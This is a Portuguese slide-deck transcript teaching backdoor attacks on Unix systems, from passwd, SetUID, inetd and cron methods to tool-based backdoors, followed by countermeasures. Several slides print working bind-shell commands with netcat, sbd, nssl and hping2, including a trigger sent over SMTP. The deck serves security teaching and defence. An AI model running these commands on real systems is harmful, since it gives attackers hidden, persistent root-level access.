Ataques com Backdoors - PowerPoint PPT Presentation

About This Presentation
Title:

Ataques com Backdoors

Description:

Ataques com Backdoors – PowerPoint PPT presentation

Number of Views:87
Avg rating:3.0/5.0
Slides: 44
Provided by: Bosc53
Category:

less

Transcript and Presenter's Notes

Title: Ataques com Backdoors


1
Ataques com Backdoors
2
Conceito
  • Backdoor (porta dos fundos) é um trecho de código
    mal-intencionado que cria uma ou mais falhas de
    segurança para dar acesso ao sistema operacional
    para pessoas não autorizadas.
  • Esta falha de segurança criada é análoga a uma
    porta dos fundos por onde a pessoa mal
    intencionada pode entrar (invadir) o sistema.

3
Como inserir
  • Backdoors podem ser inseridos propositalmente
    pelos criadores do sistema ou podem ser obra de
    terceiros mal intencionados, usando para isso, um
    vírus, verme ou cavalo de tróia).

4
Backdoor
  • O termo pode ser usado de forma mais ampla para
    designar formas furtivas de se obter informações
    privilegiadas em sistemas de todo tipo.

5
Spywares
  • Consistem programas automáticos de computador,
    que recolhem informações sobre o usuário, sobre
    seus costumes na Internet e transmite esta
    informação a uma entidade externa na Internet,
    sem o seu conhecimento e o seu consentimento.

6
Spywares
  • Diferem dos Cavalos de Tróia por não terem como
    objetivo que o sistema do usuário seja dominado,
    seja manipulado, por uma entidade externa, por um
    cracker.

7
Proteção
  • A proteção mais comum contra Backdoors em
    computadores pessoais é o uso de firewalls e de
    IDS. De modo geral, Backdoors que atuam através
    da Internet podem ser detectados (por um IDS) ou
    impedidos de atuar (pelo firewall).
  • Ou por programas Anti-Spiwares.

8
Backdoors
  • Criam portas de fundo em um sistema
    operacional.
  • Backdoor em sistemas UNIX.
  • Necessitam de acesso local à máquina.
  • Técnica que consiste em garantir uma forma de
    acesso a um determinado sistema operacional de
    forma não-convencional.
  • Acesso com direitos de root (superusuário).
  • Portas ocultas através de serviços triviais.

9
Backdoors
  • Meio de garantir a volta ao sistema (acessos
    futuros), numa nova intrusão, no sentido de
    poupar trabalho.
  • Vão desde aquelas que abrem uma porta através de
    um shell, até aquelas que surgem da instalação de
    rootkits capazes de automatizar o processo de uma
    intrusão.

10
Backdoors
  • Backdoor do Passwd
  • Registrar uma conta do usuário backdoor
  • /etc/passwd (UNIX)
  • /etc/shadow (distribuições Linux)
  • A mais fácil de se fazer, mas a mais fácil de ser
    detectada.

11
Backdoor
  • Backdoor do SetUID
  • Existe uma permissão especial em UNIX e Linux,
    que um determinado arquivo pode vir a ser
    executado por qualquer usuário com direito de
    root.
  • Isto é chamado SetUID.
  • A partir dessa possibilidade pode-se criar uma
    backdoor para dar direito a usuário do sistema o
    mesmo direito de root.

12
Backdoor
  • Backdoor do Inetd
  • O /etc/inetd.conf é o arquivo por onde se pode
    iniciar serviços do UNIX e Linux.
  • Assim, é possível criar um serviço especial
    para que possamos ter acesso aos sistema com
    direito de root.

13
Backdoor
  • Backdoor com Hora Marcada
  • A backddoor é criada de forma agendada,
    aproveitando, os recursos do AT ou Crontab. Por
    exemplo, agendando no Crontab uma tarefa que nada
    mais é que o script para fazer funcionar a
    backdoor no tempo agendado.

14
Backdoors Inetd e Passwd
  • Técnicas antigas
  • Script com requinte de engenhosidade usando-se o
    comando split (o uso do esquema de dividir o
    arquivo e jogar as informações no meio do arquivo
    através do comando split).

15
Backdoors de SuitBit
  • Backdoors baseados em SuitBit
  • SuitBit significa acesso com SetUID e SetGID.
  • Consistem em fazer cópia de um shell vulnerável à
    manipulação de SuitBit (chmod as na máquina
    vítima) e atribuir SuitBit a essa cópia.

16
Backdoors de SuitBit
  • Sofisticação das backdoors de SuitBit, que na sua
    maioria já não são simplesmente arquivos ocultos
    cópias de shell, são camufladas de maneira que um
    comando genérico possa acioná-la.
  • São bastante populares, por poderem ser adaptados
    a qualquer UNIX.

17
Backdoors de SuitBit
  • Um exemplo é um cracker executar com senha de
    root, um programa para executar um shell baseado
    na técnica de SuidBit.

18
Backdoor de SuidBit
  • Uma forma de proteger o sistema contra esse tipo
    de backdoor, é usar a instrução nosuid no
    arquivo /etc/fstab, na respectiva linha
    correspondente ao /home e /tmp, que são onde os
    crackers geralmente tentam criar esse tipo de
    backdoor.

19
Backdoor de SuidBit Substituindo Arquivo de
Comando
  • Criar um arquivo que pode substituir um arquivo
    de comando, não muito usado, como por exemplo,
    /bin/cpio ou /bin/rm.
  • O cracker move o rm original para
    /bin/rm.original.
  • Compila o código gcc o rm backdoor.
  • Atribui SuidBit.
  • Toda vez que é executado rm sem argumentos, na
    realidade é executado, via chamada interna do
    sistema, o /bin/rm.original e, quando for passado
    o parâmetro ninja, é executada a backdoor.

20
Exemplos de Backdoor
  • O código, após compilado, estabelece o SuidBit e
    a backdoor só é gerada com a digitação da
    palavra-chave reconhecida.
  • Backdoor desenvolvida em script para o shell
    BASH, com o uso do esquema de dividir o arquivo e
    colocar as informações no meio do arquivo através
    do comando split.

21
Backdoors através de Ferramentas
  • Úteis para um administrador, mas podendo serem
    usadas por crackers.
  • Netcat
  • SBD
  • NSSL
  • Hping2 (montador de pacotes)

22
Netcat
  • Netcat pode ser usada para varreduras UDP e TCP.
  • Um recurso para um invasor em um ambiente que
    tenha instalado o Netcat é a possibilidade de
    colocá-lo no modo de listen (ouvindo) em uma
    porta com uma aplicação vinculada.
  • Imagine que essa aplicação seja um interpretador
    de comando (shell) sh.

23
Netcat
  • Teremos uma backdoor simples em atividade,
    fazendo
  • O Netcat é ativado através de um shell na porta
    55555
  • gt nc -l -p 55555 -e /bin/sh
  • Para se conectar o invasor deve fazer
  • gt nc ip.ip.ip.ip 55555
  • isto cria um socket na porta ativa 55555 de
    um servidor de ltipgt, que tem o serviço TCP ativo
    fornecido pelo shell sh.

24
Netcat
  • Se esse procedimento for executado com senha de
    root, o usuário que ativou o Netcat é que terá
    esse direito.

25
SBD (Variante do Netcat)
  • Para sistemas UNIX ou Windows.
  • Possui todos os recursos do Netcat, mas o que é
    notável é que suporta criptografia com
    AES-CBC-128HMAC-SHA1 encryption), o que
    permite comunicações cifradas.

26
SBD (Variante do Netcat)
  • Para plataformas UNIX
  • (Linux, FreeBSD, OpenBSD, NetBSD, ... )
  • deve-se executar o comando make para
  • obter as várias formas de compilação
  • gt make unix
  • Para SunOS/Solaris
  • gt make sunos

27
SBD (Variante do Netcat)
  • Para Windows Win32 (NT/2000/XP) é necessário o
    MinGWMSYS ou Cygwin instalado com toda a base de
    desenvolvimento
  • Para compilar para Cygwin padrão
  • gt make win32
  • Com MSYS
  • gt make mingw
  • Para modo WinMain com Cygwin
  • gt make win32bg
  • Sob MSYS
  • gt make mingwbg
  • Para compilar para console Cygwin
  • gt make cygwin

28
SBD (Variante do Netcat)
  • O que é Pen-Test
  • Deve-se confrontar o que denominamos como
    seguro em nossos sistemas computacionais e ter
    uma dimensão mais realista de quanto são (ou não
    são) realmente seguros.
  • Pen-Test com SBD (exemplo a seguir)

29
Backdoor para Pen-Test com SBD
  • 1. De forma simples (sem chave)
  • gt sbd -l -p 12345 -e /bin/sh
  • Para se concetar à backdoor
  • gt sbd 192.168.200.171 12345
  • 2. Criando uma chave ninjapara a conexão
  • gt ./sbd -l -p 12345 -k ninja -e /bin/sh
  • Para se concetar à backdoor com a chave
  • gt sbd -k ninja 192.168.200.171. 12345

30
NSSL
  • Uma variante do Netcat com suporte a SSL.
  • Requer OpenSSL.
  • Suporte SSL v.3
  • Possibilita leitura de banners em serviços que
    utilizam SSL.

31
Exemplos de backdoor com NSSL
  • 1. Sem suporte a SSL
  • nssl rcl 1111 e /bin/bash
  • Para se conectar à backdoor
  • nssl 192.168.100.171 1111
  • 2. Com suporte a SSL
  • nssl cl 2222 e /bin/bash
  • Para se conectar à backdoor
  • nssl 192.168.100.171 2222

32
Hping2
  • Similar ao Netcat, o Hping pode ser utilizada por
    um cracker na construção de uma backdoor.
  • Hping2 deve ser instalada somente na máquina do
    administrador e não num servidor. Nem em uma DMZ.
  • Documentação original do Hping referência sobre
    como se criar uma backdoor utilizando Hping2.

33
DMZ Zona Desmilitarizada
  • DMZ Uma LAN de Isolamento
  • Um ambiente parcialmente protegido.
  • É uma rede local que isola uma rede corporativa
    do mundo exterior.
  • Assim, isola a rede corporativa, da Internet.
  • Possui um endereço de rede exclusivo, que difere
    do endereço da rede corporativa.
  • A DMZ é a única que pode ser vista de fora.

34
DMZ Uma LAN parcialmente protegida
  • Uma DMZ é criada por um roteador de perímetro (o
    ponto de demarcação entre uma rede desprotegida e
    uma rede parcialmente protegida a Internet e a
    DMZ, por exemplo)
  • Hosts de segurança (um servidor protegido que
    fornece serviços ao mundo exterior, tais como
    FTP, Web, DNS, SMTP e Proxy Web) e
  • Gateways de aplicativo (firewalls que inspeciona
    mensagens no nível dos aplicativos)

35
Hping2
  • Para a construção de uma backdoor, utiliza-se a
    opção -9 (listen) combinada com o (pipe) com
    uma chamada de shell, como /bin/sh.
  • gt hping -i eth0 -9 cmd /bin/sh
  • Todos os pacotes que contenham cmd (uma string
    pré-definida) serão processados e os bytes
    seguintes ao cmd, também.
  • Desta forma, uma backdoor com Hping2 pode ser
    furtiva o suficiente em um sistema violado.

36
Hping2
  • Imagine um cenário em que um administrador
    costume instalar aplicativos poderosos, como o
    Hping2, para fins de teste e não os remova.
  • A backdoor é um processo ativo, mas um invasor
    pode ocultar esse processo forjando comandos com
    ps e fuser.
  • Um servidor com o Hping2 instalado pode ser
    facilmente manipulado remotamente por uma
    backdoor que não precisa criar um usuário da
    porta de qualquer serviço TCP ativo.

37
Hping2
  • Mesmo que exista uma política de segurança de
    perímetro bem elaborada, ainda assim seria
    possível a passagem de comandos para a máquina
    invadida, pois seria feita através de um serviço
    oficialmente disponível cuja comunicação seria
    liberada via Firewall.
  • Veja exemplo a seguir

38
Backdoor com Hping2 através de SMTP
  • Seja uma string pré-definida concatenada a um
    comando cmdls
  • O seguinte exemplo mostra uma conexão com a
    backdoor através do serviço SMTP Sendmail, porta
    25 de serviço TCP ativo.
  • O final indica o fim do comando para o Hping2
    que irá executá-lo.
  • gt telnet 192.168.1.1 25 (xpto.lammer.xxx.br)
  • Trying... 192.168.1.1
  • Connected to lammer (192.168.1.1).
  • Escape character is .
  • 220 192.168.1.1 ESMTP Sendmail
  • cmdls

39
Contramedidas para Backdoors
  • Lembrar das backdoors mais engenhosas !
  • Uma backdoor simples como a do /etc/passwd
    pode ser instalada apenas para desviar a atenção
    do administrador. Este a remove e na sequência
    aplica um patch de correção e assume que o
    problema está resolvido.
  • Técnicas de backdoor podem ser empregadas por
    invasores internos.

40
Contramedidas para Backdoors
  • Um mecanismo recomendável para qualquer servidor
    é a utilização de IDS de hosts, para que o
    administrador tenha a capacidade de avaliar o
    quanto seu sistema foi comprometido.

41
Contramedidas para Backdoors
  • Mas, invasores com conhecimentos avançados podem
    utilizar técnicas para ultrapassar o IDS de host,
    caso este tenha alguma limitação visível.
  • Para UNIX BSD e Linux, temos o IDS de host
    Tripwire (Tripwire.org - Home of the Tripwire
    Open Source Project)
  • http//www.tripwire.org/downloads/index.php

42
Contramedidas para Backdoors
  • Aplicar políticas de segurança no sistema de
    arquivos dos servidores. Em Linux e UNIX BSD,
    opções noexec, nodev e nosuid, tornarão os
    sistemas mais seguros.

43
Contramedidas para Backdoors
  • Eliminar do servidor todo recurso desnecessário.
  • Serviços que não são usados e ferramentas
    propícias a invasores, como Hping, Netcat, Wget,
    ...
  • Wget (GNU wget is a free software package for
    retrieving files using HTTP, ...)
  • www.gnu.org/software/wget/wget.html
  • Recomendação da Norma Internacional de Segurança
    BS17799 (item 9.5.5), seguida pela ABNT.
Write a Comment
User Comments (0)
About PowerShow.com